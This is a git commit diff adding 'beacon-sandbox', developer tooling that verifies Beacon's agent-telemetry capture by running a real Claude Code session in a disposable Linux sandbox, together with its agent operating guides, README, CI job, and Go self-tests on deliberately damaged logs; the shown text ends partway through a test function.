Skip to content

The cross-harness, self-improving memory layer for AI agents. Join our community: https://discord.com/invite/zdNChS2fBu

feat(beacon-sandbox): verify Beacon against real agent activity in a disposable sandbox

shukieshah8507e55c4f1f
diff --git a/.claude/skills/self-verify-beacon-in-sandbox/SKILL.md b/.claude/skills/self-verify-beacon-in-sandbox/SKILL.md
new file mode 100644
index 00000000..a6a91695
--- /dev/null
+++ b/.claude/skills/self-verify-beacon-in-sandbox/SKILL.md
@@ -0,0 +1,87 @@
+---
+name: self-verify-beacon-in-sandbox
+description: Verify a Beacon change end to end by running a real Claude Code session inside a disposable Linux cloud sandbox and checking that Beacon captured what the agent actually did. Use when asked to verify, validate, test, or prove that a Beacon change works for real rather than just compiling; when asked whether telemetry, event capture, commands, file paths, prompts, tokens, or approvals are still recorded correctly; when investigating a suspected capture gap; or when preparing a Beacon pull request that touches the CLI, hooks, or the collector exporter.
+---
+
+# Verify Beacon in a sandbox
+
+This repository ships `beacon-sandbox`, which rents a disposable Linux sandbox from Modal,
+installs the Beacon under test, runs a real Claude Code session inside it, and checks whether
+Beacon recorded what the agent did.
+
+**Read `beacon-sandbox/AGENTS.md` for the full operating manual** — scenario selection, how to
+interpret a verdict, and the failure modes that look like Beacon bugs but are not. The commands
+below are enough to start; that file is what stops you misreading the result.
+
+## Step 1: check prerequisites
+
+Always start here. It is free, needs no sandbox, and prints the exact fix for anything missing:
+
+```bash
+cd beacon-sandbox
+go run ./cmd/beacon-sandbox doctor
+```
+
+Add `--json` for machine-readable output with a top-level `ready` boolean.
+
+## Step 2: resolve what doctor reports
+
+Apply the `fix:` line it prints, then rerun `doctor`. The two build artifacts you can resolve
+yourself:
+
+```bash
+cd cli/beacon && make build-linux-amd64 # if beacon_binary FAILs
+cd beacon-sandbox && go run ./cmd/beacon-sandbox doctor --fix # downloads the collector
+```
+
+**Two prerequisites you must NOT try to resolve yourself:**
+
+1. **Modal authentication.** `modal token new` completes through an authenticated *web session*,
+ so it opens a browser and blocks — running it yourself will hang until timeout. If
+ `modal_auth` FAILs, ask the user to run it, suggesting they type
+ `! pip install modal && modal token new` so the output lands in the conversation. In CI,
+ `MODAL_TOKEN_ID` and `MODAL_TOKEN_SECRET` work non-interactively instead.
+2. **The Anthropic credential.** Never invent, echo, or write a key. If `anthropic_credential`
+ FAILs, ask the user which of the three paths they want: `ANTHROPIC_API_KEY`,
+ `--api-key-command CMD`, or `--modal-secret NAME`.
+
+Do not proceed to step 3 while `doctor` reports any FAIL — the run will fail later and more
+confusingly.
+
+## Step 3: run it
+
+```bash
+go run ./cmd/beacon-sandbox run --scenario s02-bash-command # one scenario -- do this while iterating
+go run ./cmd/beacon-sandbox run # the whole suite: all 7 scenarios, ~20 min
+```
+
+Pick the scenario matching what changed:
+
+| You changed | Scenario |
+|---|---|
+| Command capture / exporter tool handling | `s02-bash-command` |
+| File read or write signals | `s03-file-write` or `s04-file-read` |
+| Prompt, session, token, or cost capture | `s01-hello` |
+| Approval or permission handling | `s07-denied-tool` |
+| Something broad, or preparing a PR | the whole suite (bare `run`) |
+
+Other flags: `--repeat N` to tell flaky from broken, `--keep-sandbox` to leave the instance up for
+debugging.
+
+## Four things not to get wrong
+
+1. **A run costs real money** — about $0.06 of sandbox plus a few cents of API per scenario, on
+ the user's account. Say what you are about to run and roughly what it costs before spending
+ it, and prefer a single `--scenario` while iterating. If you only changed *what counts as
+ correct*, use `verify <run-dir>` instead — it re-judges collected artifacts offline and free.
+2. **A change under `collector-builder/` needs the collector rebuilt.** The telemetry
+ normalization compiles into `beacon-otelcol`, not the `beacon` CLI, so otherwise you verify
+ the wrong binary and get a meaningless pass. `doctor` warns about this as
+ `collector_freshness`.
+3. **INCONCLUSIVE means the model never did the work** — retry the scenario; do not investigate
+ Beacon.
+4. **A FAIL may be a stale assertion, not a bug.** Read the failing expectation's `why` field
+ against the verdict's action histogram before concluding anything.
+
+`beacon-sandbox/AGENTS.md` explains each of these properly, plus `diff`, scenario authoring, and
+how to self-test that the checks still have teeth.
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index a7e8110f..30aee07b 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -96,6 +96,26 @@ jobs:
fi
done
+ beacon-sandbox:
+ runs-on: ubuntu-latest
+ steps:
+ - uses: actions/checkout@v4
+ - uses: actions/setup-go@v5
+ with:
+ go-version-file: beacon-sandbox/go.mod
+ # These tests are hermetic: no Modal account, no Anthropic key, no sandbox, and no
+ # paid resources. (Go module downloads still happen, as in every other job here.)
+ # They gate because they are what makes a green verification run mean
+ # something -- the adversarial cases assert a damaged log still fails, so
+ # if they rot, the sandbox can pass without having checked anything.
+ # The end-to-end sandbox run itself costs real money and is not run in CI.
+ - name: Test beacon-sandbox
+ working-directory: beacon-sandbox
+ run: |
+ go build ./...
+ go vet ./...
+ go test ./...
+
cross-build:
runs-on: ubuntu-latest
strategy:
diff --git a/AGENTS.md b/AGENTS.md
new file mode 100644
index 00000000..1d14516a
--- /dev/null
+++ b/AGENTS.md
@@ -0,0 +1,42 @@
+# Agent instructions for agent-beacon
+
+Beacon is a local-only endpoint telemetry agent for AI runtimes. Guidance for working in this
+repository lives in `CONTRIBUTING.md` (layout, workflow, validation) and `CLAUDE.md` (project
+scope, product posture, release process). Read those first for ordinary changes.
+
+## Verifying a change end to end
+
+This repository ships a sandbox that runs a **real Claude Code session** against the Beacon under
+test and checks whether Beacon captured what happened. Use it when asked to verify that a change
+actually works, not just that it compiles and unit-tests pass.
+
+**Read `beacon-sandbox/AGENTS.md` before running any verification.** It is the operating manual:
+prerequisites, which scenario to pick for which change, how to read a verdict, and the failure
+modes that look like Beacon bugs but are not.
+
+Start with the prerequisite check, which is free and needs no sandbox:
+
+```bash
+cd beacon-sandbox && go run ./cmd/beacon-sandbox doctor
+```
+
+Two things to know before you run anything: a scenario costs real money (roughly $0.06 of sandbox
+plus a few cents of API), so tell the user before spending it; and the sandbox is Linux-only, so it
+cannot verify macOS-specific behavior.
+
+## Running the standard checks
+
+Unit and integration tests for the shipping code, per `CONTRIBUTING.md`:
+
+```bash
+cd cli/beacon && go test ./...
+cd cli/beacon && go test -race ./internal/endpoint/...
+cd cli/beacon-hooks && go test ./...
+cd collector-builder/exporter/beaconjsonexporter && go test ./...
+cd pkg/asymptoteobserve && go test ./...
+sh packaging/macos/test-endpoint-scripts.sh
+sh packaging/macos/smoke-endpoint.sh
+```
+
+Each directory above is a separate Go module; run Go commands from inside the module you are
+changing.
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index bd8de8be..80105530 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -32,6 +32,9 @@ Useful contributions include:
- `collector-builder`: OpenTelemetry Collector distribution and
`beaconjson` exporter.
- `packaging`: macOS package scripts, deployment helpers, and MDM assets.
+- `beacon-sandbox`: end-to-end verification tool that runs a real Claude Code
+ session in a disposable Linux sandbox and checks what Beacon captured. See
+ [Verify Beacon In A Sandbox](https://docs.asymptotelabs.ai/contributing/beacon-sandbox).
Removed mirror trees and old product surfaces are not active contribution
targets. New work should stay focused on the Beacon paths above unless a
@@ -126,6 +129,7 @@ cd cli/beacon && go test ./...
cd cli/beacon && go test -race ./internal/endpoint/...
cd cli/beacon-hooks && go test ./...
cd collector-builder/exporter/beaconjsonexporter && go test ./...
+cd beacon-sandbox && go test ./...
sh packaging/macos/test-endpoint-scripts.sh
sh packaging/macos/smoke-endpoint.sh
```
@@ -133,6 +137,25 @@ sh packaging/macos/smoke-endpoint.sh
If you cannot run a relevant check locally, mention that in the pull request and
explain why.
+### Optional End-To-End Verification
+
+For changes to telemetry capture — the CLI, the hook adapter, or the `beaconjson`
+exporter — you can verify against a real Claude Code session instead of only
+asserting on synthetic payloads:
+
+```bash
+cd beacon-sandbox
+go run ./cmd/beacon-sandbox doctor
+go run ./cmd/beacon-sandbox run --scenario s02-bash-command
+```
+
+This runs in a disposable Linux sandbox and costs a small amount of real money,
+so it is optional rather than a gate. Its own unit tests, included above, are
+hermetic and cost nothing. See
+[Verify Beacon In A Sandbox](https://docs.asymptotelabs.ai/contributing/beacon-sandbox)
+for setup and limitations, including the fact that it cannot verify the macOS
+build.
+
## Contribution Guidelines
- **Preserve local-only behavior:** Do not add hosted account requirements,
@@ -153,7 +176,11 @@ explain why.
fake binaries, and free local ports. Avoid tests that require root, real
`launchctl` service changes, Wazuh, a live Collector, or external network
access. Gate macOS-only behavior with `runtime.GOOS == "darwin"` or assert the
- non-Darwin contract explicitly.
+ non-Darwin contract explicitly. `beacon-sandbox` is the deliberate exception:
+ it reaches the network by design, but only when a contributor runs it
+ explicitly, and it is developer tooling rather than part of endpoint or hook
+ execution, so Beacon's local-only runtime posture is unaffected. Its own unit
+ tests follow the rule above and need no network.
- **Update relevant docs:** Keep documentation current when install, packaging,
Collector, dashboard, or event schema behavior changes. The top-level
`README.md` and module-level READMEs should stay consistent with user-visible
diff --git a/README.md b/README.md
index 9e8baa9f..85eaaaf6 100644
--- a/README.md
+++ b/README.md
@@ -235,6 +235,19 @@ cd cli/beacon
make build
```
+To verify a change against a **real** Claude Code session rather than only
+synthetic payloads, `beacon-sandbox` runs one in a disposable Linux sandbox and
+checks what Beacon actually captured:
+
+```bash
+cd beacon-sandbox
+go run ./cmd/beacon-sandbox doctor
+go run ./cmd/beacon-sandbox run --scenario s02-bash-command
+```
+
+See [Verify Beacon In A Sandbox](https://docs.asymptotelabs.ai/contributing/beacon-sandbox)
+for setup, what it can verify, and its limitations.
+
For setup, deployment, integrations, and command details, see the
[Beacon CLI docs](https://docs.asymptotelabs.ai).
diff --git a/beacon-sandbox/.gitignore b/beacon-sandbox/.gitignore
new file mode 100644
index 00000000..0d9d9f60
--- /dev/null
+++ b/beacon-sandbox/.gitignore
@@ -0,0 +1,2 @@
+# Collected run artifacts: real telemetry containing prompt text and command output.
+runs/
diff --git a/beacon-sandbox/AGENTS.md b/beacon-sandbox/AGENTS.md
new file mode 100644
index 00000000..f971c3c4
--- /dev/null
+++ b/beacon-sandbox/AGENTS.md
@@ -0,0 +1,222 @@
+# beacon-sandbox: agent guide
+
+Instructions for a coding agent asked to verify a Beacon change end to end.
+
+This tool rents a disposable Linux sandbox, installs the Beacon under test, runs a **real Claude
+Code session** inside it, and checks whether Beacon recorded what the agent actually did. Human
+documentation is in `README.md` and on the docs site; this file is the operating manual.
+
+## Always start here
+
+```bash
+cd beacon-sandbox
+go run ./cmd/beacon-sandbox doctor
+```
+
+`doctor` is free, needs no sandbox, and catches the failure modes that otherwise appear
+mid-run as something else entirely. Add `--fix` to let it download the collector binary.
+
+If `doctor` reports FAIL, apply the printed `fix` and rerun it. Do not proceed to `run` with a
+failing check — the run will fail later and more confusingly.
+
+`doctor --json` gives machine-readable output with a top-level `ready` boolean.
+
+### What you can fix yourself, and what you must not
+
+Resolve these two directly:
+
+```bash
+cd cli/beacon && make build-linux-amd64 # beacon_binary
+cd beacon-sandbox && go run ./cmd/beacon-sandbox doctor --fix # collector_binary (downloads it)
+```
+
+**Do not attempt the other two.** They need the user, and trying them yourself wastes a turn or
+hangs outright:
+
+- **`modal_auth`** — `modal token new` completes through an authenticated *web session*, so it
+ opens a browser and blocks. Running it yourself hangs until timeout. Ask the user to run it,
+ suggesting `! pip install modal && modal token new` so the output lands in the conversation. In
+ CI, `MODAL_TOKEN_ID` and `MODAL_TOKEN_SECRET` work non-interactively instead.
+- **`anthropic_credential`** — never invent, echo, or write a key. Ask which path the user wants:
+ `ANTHROPIC_API_KEY`, `--api-key-command CMD`, or `--modal-secret NAME` (most secure; the value
+ never enters this process, at the cost of the artifact leak check reporting *unverified*).
+
+## Before spending money
+
+A run costs roughly **$0.06 of sandbox time plus a few cents of Anthropic API usage**. That is
+real money on the user's account, so:
+
+- Tell the user what you are about to run and roughly what it costs.
+- Use `--scenario <id>` while iterating. Only run the full suite when asked or before a PR.
+- Never loop the suite unattended, and never use `--repeat` without being asked.
+- If you only changed *what counts as correct*, use `verify` instead — it is free.
+
+## Choosing what to run
+
+| You changed | Run |
+|---|---|
+| Command capture / exporter tool handling | `--scenario s02-bash-command` |
+| File read or write signals | `--scenario s03-file-write` or `s04-file-read` |
+| Prompt, session, token, or cost capture | `--scenario s01-hello` |
+| Approval or permission handling | `--scenario s07-denied-tool` |
+| Something broad, or preparing a PR | the whole suite (no `--scenario`) |
+
+```bash
+go run ./cmd/beacon-sandbox run --scenario s02-bash-command # one scenario
+go run ./cmd/beacon-sandbox run # the whole suite: all 7, ~20 min, ~$0.50
+```
+
+`run` with no `--scenario` is the suite command. Other flags: `--repeat N` to tell flaky from
+broken, `--keep-sandbox` to leave the instance up for debugging.
+
+## The trap that matters most
+
+**If the change touches `collector-builder/`, the collector must be rebuilt.** Telemetry
+normalization compiles into `beacon-otelcol`, not the `beacon` CLI. Verifying an exporter change
+against a downloaded or previously built collector produces a passing run that proves nothing
+about the change.
+
+`doctor` warns about this (`collector_freshness`). When it does, rebuild:
+
+```bash
+go install go.opentelemetry.io/collector/cmd/[email protected]
+cd collector-builder && mkdir -p dist
+GOOS=linux GOARCH=amd64 CGO_ENABLED=0 "$(go env GOPATH)/bin/builder" --config builder.yaml
+cp dist/beacon-otelcol/beacon-otelcol dist/beacon-otelcol/linux_amd64/beacon-otelcol
+```
+
+This has already caused one wasted investigation: a stale collector made an
+already-fixed bug still look broken.
+
+`collector_freshness` covers three ways the binary can be wrong: uncommitted changes under
+`collector-builder/`, a downloaded release binary with exporter changes committed since that
+release, and a locally built binary older than its sources. It also reports a release tag the clone
+cannot resolve as *unknowable* rather than fresh — if you see that, run `git fetch --tags` or
+rebuild. Rebuilding locally clears the warning; provenance is tied to the binary on disk, so the
+warning can always be satisfied by doing what it asks.
+
+## Reading the result
+
+Three outcomes, and the third is what makes the tool trustworthy:
+
+- **PASS** — Beacon captured what the scenario planted. Exit 0.
+- **FAIL** — an expectation, invariant, or safety check failed. Read the `why` field on the failing
+ finding before concluding anything. Exit 1.
+- **INCONCLUSIVE** — the model never did the requested work, so there was nothing to capture.
+ **Retry the scenario. Do not investigate Beacon.** Exits 1 when nothing else passed, so do not
+ read a zero exit as the only success signal.
+
+A fail-severity finding always beats INCONCLUSIVE: an idle agent does not excuse a leaked
+credential or a corrupt line.
+
+### A WARN means a check could not run
+
+Not that it passed. You will see these on healthy runs and they are not failures, but they are also
+not clean bills of health:
+
+| Warning | What is unverified |
+|---|---|
+| `sentinel ... could not be read` | Whether the agent acted. Expectations are judged without that excuse. |
+| `the agent's own result could not be read` | Same, for a scenario with no sentinel. |
+| `cannot check for ANTHROPIC_API_KEY` | The leak check had no value to search for. |
+| `the argv scan did not run` | Credential handling for that run. |
+| `service probe could not run` | The service half of the host guard; files still passed. |
+
+If you are reporting a run to the user, say which halves were verified and which were not. Silence
+in this tool means verified-clean, so never paraphrase a WARN as a pass.
+
+### A FAIL is not automatically a Beacon bug
+
+Check, in this order:
+
+1. **Is the expectation stale?** Scenarios encode what Beacon *should* do. When Beacon's
+ behavior legitimately improves, an old assertion can become wrong. Three scenarios had to be
+ rewritten after v1.0.6 for exactly this reason — they asserted `tool.invoked` *because* that
+ was the broken classification. Compare the failing expectation's `why` against the actual
+ action histogram in the verdict.
+2. **Was the right binary tested?** See the trap above.
+3. **Only then** treat it as a capture gap in Beacon.
+
+Each finding carries evidence pointers like `runs/<id>/runtime.jsonl:88`. Read that line before
+reporting anything.
+
+## Iterating for free
+
+```bash
+go run ./cmd/beacon-sandbox verify runs/<run-dir>/ # re-judge collected artifacts
+go run ./cmd/beacon-sandbox diff runs/<before>/ runs/<after>/
+```
+
+`verify` is a pure function of what is on disk: no sandbox, no model, no cost. Capture
+a session once, then re-check it as often as you like while adjusting expectations.
+
+`diff` compares capability fingerprints across runs. **It cannot distinguish "action removed" from
+"action reclassified"** — when Beacon starts classifying an event more precisely, the old action
+name shows up as a REGRESSION even though nothing was lost. Read the improvements alongside it.
+
+## Self-testing the checks
+
+A check that cannot fail is worse than no check. To confirm the checks still have teeth:
+
+```bash
+go test ./... # hermetic; no credentials, no cost
+go run ./cmd/beacon-sandbox verify --mutate corrupt-line runs/<id>/ # a PASS must become FAIL
+```
+
+Other mutations: `drop-action:<action>`, `drop-commands`, `plant-secret`.
+
+Every mutation refuses to be a no-op: an empty log, or an action the log does not contain, errors
+rather than reporting a self-test that proved nothing.
+
+**`plant-secret` only works on a run captured with the `ANTHROPIC_API_KEY` currently set.** It
+plants that key and expects the leak check to find it, but the leak check is withheld when the value
+is not the one the run used — a provider secret, a rotated key, or a run recorded before credential
+fingerprints existed. It refuses in that case and names the modes that do work, so if you hit that
+error pick `corrupt-line` instead rather than treating it as a bug.
+
+## Writing or editing a scenario
+
+```yaml
+id: s02-bash-command
+prompt: >-
+ Run exactly this shell command and report its output: echo {{canary}} | tee {{sentinel}}
+sentinel: /home/agent/work/s02.sentinel # exists ⇒ the agent really acted
+expect:
+ - action: command.executed
+ contains: ["{{canary}}"]
+ fields: ["command.command"]
+ why: >-
+ Threat rules match scalar leaves, so e.command.command IS the detection surface for the
+ rules/risky-command/ category.
+```
+
+Rules:
+
+- `{{canary}}` is a unique per-run marker. Matching it is exact because the harness chose it.
+- `sentinel` is what makes a missing event unambiguous. Without one, a missing expectation cannot
+ be distinguished from an inactive agent and is treated as a failure.
+- Every expectation needs a `why`. A failure that cannot explain what it protected is not
+ actionable, and a test asserts this.
+- `optional: true` records an expectation without failing the run — for a known gap you want
+ visible but not blocking.
+- Validate without spending anything: `go test ./scenario/`.
+
+## Environment constraints worth knowing
+
+- The sandbox is **Linux/amd64 only**. This cannot verify the macOS build.
+- Claude Code must run as a **non-root** user; it refuses `--dangerously-skip-permissions` as root.
+- Switching user with `su -` strips the injected credential (login shell resets the environment).
+ The code uses `su -p`; a test pins this.
+- Telemetry is asynchronous, so the runner waits for the log to go quiet rather than sleeping a
+ fixed amount. Occasional flakiness is expected — `--repeat` distinguishes flaky from broken.
+- The credential argv check samples the process table *during* the session, but coarsely: a short
+ session yields single-digit samples. Read `argv_samples` in `meta.json` alongside the result —
+ `secret_in_argv=false` means "not seen in N samples", not "provably never present".
+- What is verified is the `beacon ci exec` collector path, which is how Beacon collects in GitHub
+ Actions and cloud agent sandboxes. Persistent `endpoint install` is not covered.
+
+## Reporting back
+
+State: which scenario ran, the outcome, and for a FAIL the specific expectation with its `why`
+and the evidence line. If the result was INCONCLUSIVE, say the agent did not perform the work and
+that a retry is needed — not that Beacon is broken.
diff --git a/beacon-sandbox/README.md b/beacon-sandbox/README.md
new file mode 100644
index 00000000..643f9382
--- /dev/null
+++ b/beacon-sandbox/README.md
@@ -0,0 +1,128 @@
+# beacon-sandbox
+
+Verifies Beacon against **real** Claude Code activity. It rents a disposable Linux sandbox from
+[Modal](https://modal.com/docs/guide/sandboxes), installs the Beacon build from your working tree,
+runs an actual agent session inside it, and checks whether Beacon's runtime log contains what the
+agent really did. Nothing runs on your machine, and the sandbox is destroyed afterwards.
+
+Full documentation: **[Verify Beacon In A Sandbox](https://docs.asymptotelabs.ai/contributing/beacon-sandbox)**.
+Coding agents should read [`AGENTS.md`](AGENTS.md) — it is the operating manual.
+
+## Quick start
+
+Needs a Modal account (the free tier includes monthly credits) and an Anthropic API key with
+credit, because the sandbox runs a real agent session.
+
+```bash
+pip install modal && modal token new
+export ANTHROPIC_API_KEY=sk-ant-...
+
+cd cli/beacon && make build-linux-amd64 # the Beacon under test
+cd ../../beacon-sandbox
+go run ./cmd/beacon-sandbox doctor --fix # checks prerequisites, fetches the collector
+go run ./cmd/beacon-sandbox run --scenario s02-bash-command # one scenario, ~3 min
+go run ./cmd/beacon-sandbox run # the whole suite: 7 scenarios, ~20 min
+```
+
+`modal token new` completes through a browser session, so it needs a human; everything else
+`doctor` either resolves or explains. `--fix` verifies the collector it downloads against the
+release's `checksums.txt` before installing it, and refuses a release that publishes none.
+
+`doctor` prints the exact fix for anything missing, so it is both the right first move and the
+right thing to rerun when a run behaves strangely.
+
+## Why it works despite the agent being unpredictable
+
+An AI session does something slightly different every time, so there is no fixed expected output
+to compare against. Two cheap ideas replace one expensive oracle:
+
+- **A canary** — a unique marker in the prompt that Beacon's log must contain. The match is exact,
+ because the sandbox chose the string.
+- **A sentinel** — a file the requested work leaves behind.
+
+The sentinel must *contain* the canary, not merely exist — only this run's agent could have put it
+there, whereas a fixture could have created the file. If it is there the agent acted, so a missing
+event is a genuine capture gap; if not, the run is `INCONCLUSIVE` and gets retried rather than
+blamed on Beacon. Without that, "Beacon dropped the event" and "the model declined the task" look
+identical.
+
+Some scenarios leave no artifact at all (`s01-hello` and `s07-denied-tool` assert on prompt, token,
+cost and approval signals), so for those the agent's own success report plays the sentinel's role.
+
+A run also distinguishes **"the check passed"** from **"the check could not run"**. An unreadable
+probe, a credential this process never held, or a service listing that failed each produce an
+explicit *unverified* warning. Silence means verified-clean, never "we did not look" — and an
+all-`INCONCLUSIVE` run exits non-zero, so a script cannot mistake "nothing verified" for success.
+
+Marker checks prove presence, not completeness: they confirm the planted thing was captured, not
+that nothing else was missed.
+
+## Commands
+
+| Command | Purpose |
+|---------|---------|
+| `doctor [--fix] [--json]` | Check prerequisites; download the collector |
+| `run [--scenario ID] [--repeat N] [--keep-sandbox]` | Capture a session and judge it |
+| `verify <run-dir> [--mutate MODE]` | Re-judge collected artifacts — free, instant, offline |
+| `diff <before> <after>` | Compare capability fingerprints across runs |
+| `clean` | Remove local run artifacts |
+
+**`verify` is the loop to iterate in.** It is a pure function of what is on disk: no sandbox, no
+model, no cost. Capture a session once, then re-check it as often as you like while
+adjusting what counts as correct. `run` is only for capturing fresh behavior.
+
+A run costs roughly $0.06 of sandbox time plus a few cents of API usage.
+
+Credentials, in the order they resolve: `--modal-secret NAME` (most secure — the value never
+touches this process, at the cost of the artifact leak check degrading to *unverified*),
+`--api-key-command CMD`, then `ANTHROPIC_API_KEY`.
+
+## Layout
+
+```
+credentials/ resolves the Anthropic key: provider secret, helper command, or env var
+sandbox/ Provider interface and the Modal implementation -- the only Modal-aware package
+image/ base layer (distro + pinned Claude Code) and Beacon artifact resolution
+scenario/ declarative scenario format
+scenarios/ the shipped suite
+runner/ runs one scenario and collects artifacts; stops before judging
+check/ invariants, expectation matcher, verdict, capability fingerprint
+hostguard/ proves your own Beacon state was untouched
+```
+
+## Trusting the checks
+
+A check that cannot fail is worse than no check, because it turns "we did not look" into "we
+verified". So the checks are tested against deliberately damaged logs: a dropped command event must
+fail exactly that expectation, a corrupted line must trip the parse invariant, a planted credential
+must trip the leak check, an absent sentinel must yield `INCONCLUSIVE` rather than `FAIL`, and an
+unavailable credential must report *unverified* rather than clean.
+
+```bash
+go test ./... # hermetic; no credentials, no cost
+go run ./cmd/beacon-sandbox verify --mutate corrupt-line runs/<id>/ # a PASS must become FAIL
+```
+
+Every mutation refuses to be a no-op, so a self-test can never pass without having damaged
+anything. `plant-secret` additionally needs a run captured with the `ANTHROPIC_API_KEY` currently
+set, since otherwise the leak check is withheld and the planted key would never be searched for;
+it refuses and names the modes that do work.
+
+Tests need no Modal account, no API key, and no sandbox, so they cost nothing. (They still
+resolve Go modules, like every other test suite in this repo.)
+
+Two Beacon behaviors the matcher models deliberately, because ignoring either produces false
+failures: `IsDuplicateEndpointEvent` collapses identical events written within **two seconds**, so
+a repeated command yields one event; and token totals must come from `beacon token-usage --json`
+rather than summing the raw JSONL, because `dedupeOverlappingChannels` zeroes metric-channel usage
+when the log channel already reported it.
+
+## Limitations
+
+Modal is Linux/amd64 only, so this **cannot verify the macOS build** — launchd, the signed `.pkg`,
+and notarization are out of reach. What it exercises is the `beacon ci exec` collector path, which
+is how Beacon collects in GitHub Actions and cloud agent sandboxes. The docs page has the full
+list.
+
+This is contributor tooling. Beacon's own endpoint and hook execution stay local-only with no
+network dependency; only this sandbox reaches out, and only when you run it.
diff --git a/beacon-sandbox/check/check_test.go b/beacon-sandbox/check/check_test.go
new file mode 100644
index 00000000..b0fcae50
--- /dev/null
+++ b/beacon-sandbox/check/check_test.go
@@ -0,0 +1,768 @@
+package check
+
+import (
+ "os"
+ "path/filepath"
+ "strings"
+ "testing"
+
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/hostguard"
+ "github.com/asymptote-labs/agent-beacon/beacon-sandbox/scenario"
+)
+
+// These tests exist because a check that cannot fail is worse than no check: it converts
+// "we did not look" into "we verified". Each case deliberately damages a known-good log and
+// asserts the specific check that should notice actually does.
+
+const canary = "BEACON_E2E_TESTCANARY"
+
+// goodLog is a minimal but schema-valid stream shaped like a real Claude Code session.
+func goodLog() []string {
+ return []string{
+ `{"timestamp":"2026-08-02T18:00:00Z","vendor":"beacon","product":"endpoint-agent","schema_version":"1.0","event":{"kind":"agent_runtime","action":"prompt.submitted","category":"prompt"},"severity":"info","endpoint":{"os":"linux","hostname":"sandbox"},"harness":{"name":"claude_code"},"session":{"id":"s1"},"prompt":{"text":"run echo ` + canary + `"},"message":"claude_code.user_prompt"}`,
+ `{"timestamp":"2026-08-02T18:00:01Z","vendor":"beacon","product":"endpoint-agent","schema_version":"1.0","event":{"kind":"agent_runtime","action":"command.executed","category":"command"},"severity":"info","endpoint":{"os":"linux","hostname":"sandbox"},"harness":{"name":"claude_code"},"session":{"id":"s1"},"tool":{"name":"Bash"},"command":{"command":"echo ` + canary + `"},"message":"claude_code.tool_result"}`,
+ `{"timestamp":"2026-08-02T18:00:02Z","vendor":"beacon","product":"endpoint-agent","schema_version":"1.0","event":{"kind":"agent_runtime","action":"token.usage","category":"metric"},"severity":"info","endpoint":{"os":"linux","hostname":"sandbox"},"harness":{"name":"claude_code"},"session":{"id":"s1"},"model":"claude-opus-5","gen_ai":{"usage":{"input_tokens":100}},"message":"claude_code.token.usage"}`,
+ }
+}
+
+func writeLog(t *testing.T, lines []string) string {
+ t.Helper()
+ p := filepath.Join(t.TempDir(), "runtime.jsonl")
+ if err := os.WriteFile(p, []byte(strings.Join(lines, "\n")+"\n"), 0o600); err != nil {
+ t.Fatal(err)
+ }
+ return p
+}
+
+func demoScenario() scenario.Scenario {
+ return scenario.Scenario{
+ ID: "t-demo",
+ Prompt: "run echo {{canary}}",
+ Sentinel: "/tmp/sentinel",
+ Expect: []scenario.Expect{
+ {Action: "prompt.submitted", Contains: []string{"{{canary}}"}},
+ {Action: "command.executed", Contains: []string{"{{canary}}"}, Fields: []string{"command.command"}},
+ {Action: "token.usage", Fields: []string{"gen_ai.usage.input_tokens"}},
+ },
+ }
+}
+
+func run(t *testing.T, lines []string, sc scenario.Scenario, sent Sentinel, secrets map[string]string) Verdict {
+ t.Helper()
+ log, err := ReadLog(writeLog(t, lines))
+ if err != nil {
+ t.Fatalf("ReadLog: %v", err)
+ }
+ v := Verdict{Scenario: sc.ID}
+ Invariants(&v, log, Secrets{Values: secrets})
+ Expectations(&v, log, sc, canary, sent, okSession())
+ v.Resolve()
+ return v
+}
+
+// okSession is the default for tests not exercising the session gate: the agent reported success.
+func okSession() Session { return Session{Known: true, OK: true} }
+
+func presentSentinel() Sentinel {
+ return Sentinel{Declared: true, Present: true, Probed: true, Detail: canary}
+}
+
+func TestGoodLogPasses(t *testing.T) {
+ v := run(t, goodLog(), demoScenario(), presentSentinel(), nil)
+ if v.Outcome != Pass {
+ t.Fatalf("expected PASS, got %s:\n%s", v.Outcome, v.Report())
+ }
+}
+
+// The headline self-test: removing the command event must fail exactly that expectation and
+// nothing else, so a real capture gap is reported precisely rather than as a vague failure.
+func TestDroppedCommandFailsExactlyThatExpectation(t *testing.T) {
+ lines := goodLog()
+ lines = append(lines[:1], lines[2:]...) // drop command.executed
+ v := run(t, lines, demoScenario(), presentSentinel(), nil)
+
+ if v.Outcome != Fail {
+ t.Fatalf("expected FAIL, got %s:\n%s", v.Outcome, v.Report())
+ }
+ fails := v.Failures()
+ if len(fails) != 1 {
+ t.Fatalf("expected exactly 1 failing finding, got %d:\n%s", len(fails), v.Report())
+ }
+ if !strings.Contains(fails[0].Check, "command.executed") {
+ t.Errorf("failure should name command.executed, got %q", fails[0].Check)
+ }
+}
+
+// An action present but its key field empty is the most important distinction the checks
+// make: threat rules match fields, not action names, so "event exists" is not enough.
+func TestActionPresentButFieldEmptyStillFails(t *testing.T) {
+ lines := goodLog()
+ lines[1] = strings.Replace(lines[1], `"command":{"command":"echo `+canary+`"},`, "", 1)
+ v := run(t, lines, demoScenario(), presentSentinel(), nil)
+
+ if v.Outcome != Fail {
+ t.Fatalf("expected FAIL when command.command is unpopulated, got %s:\n%s", v.Outcome, v.Report())
+ }
+ var found bool
+ for _, f := range v.Failures() {
+ if strings.Contains(f.Summary, "unpopulated field") && strings.Contains(f.Summary, "command.command") {
+ found = true
+ }
+ }
+ if !found {
+ t.Errorf("failure should explain the unpopulated field, got:\n%s", v.Report())
+ }
+}
+
+func TestCorruptLineTripsInvariant(t *testing.T) {
+ lines := append(goodLog(), `{"vendor":"beacon", this is not json`)
+ v := run(t, lines, demoScenario(), presentSentinel(), nil)
+
+ if v.Outcome != Fail {
+ t.Fatalf("expected FAIL on a corrupt line, got %s", v.Outcome)
+ }
+ if !hasCheck(v, "invariant.jsonl_parseable") {
+ t.Errorf("expected invariant.jsonl_parseable to fire:\n%s", v.Report())
+ }
+}
+
+func TestSchemaViolationTripsInvariant(t *testing.T) {
+ lines := goodLog()
+ // Wrong vendor: Validate() treats vendor/product as a release contract.
+ lines[0] = strings.Replace(lines[0], `"vendor":"beacon"`, `"vendor":"asymptote"`, 1)
+ v := run(t, lines, demoScenario(), presentSentinel(), nil)
+
+ if !hasCheck(v, "invariant.schema_valid") {
+ t.Errorf("expected invariant.schema_valid to fire:\n%s", v.Report())
+ }
+ if v.Outcome != Fail {
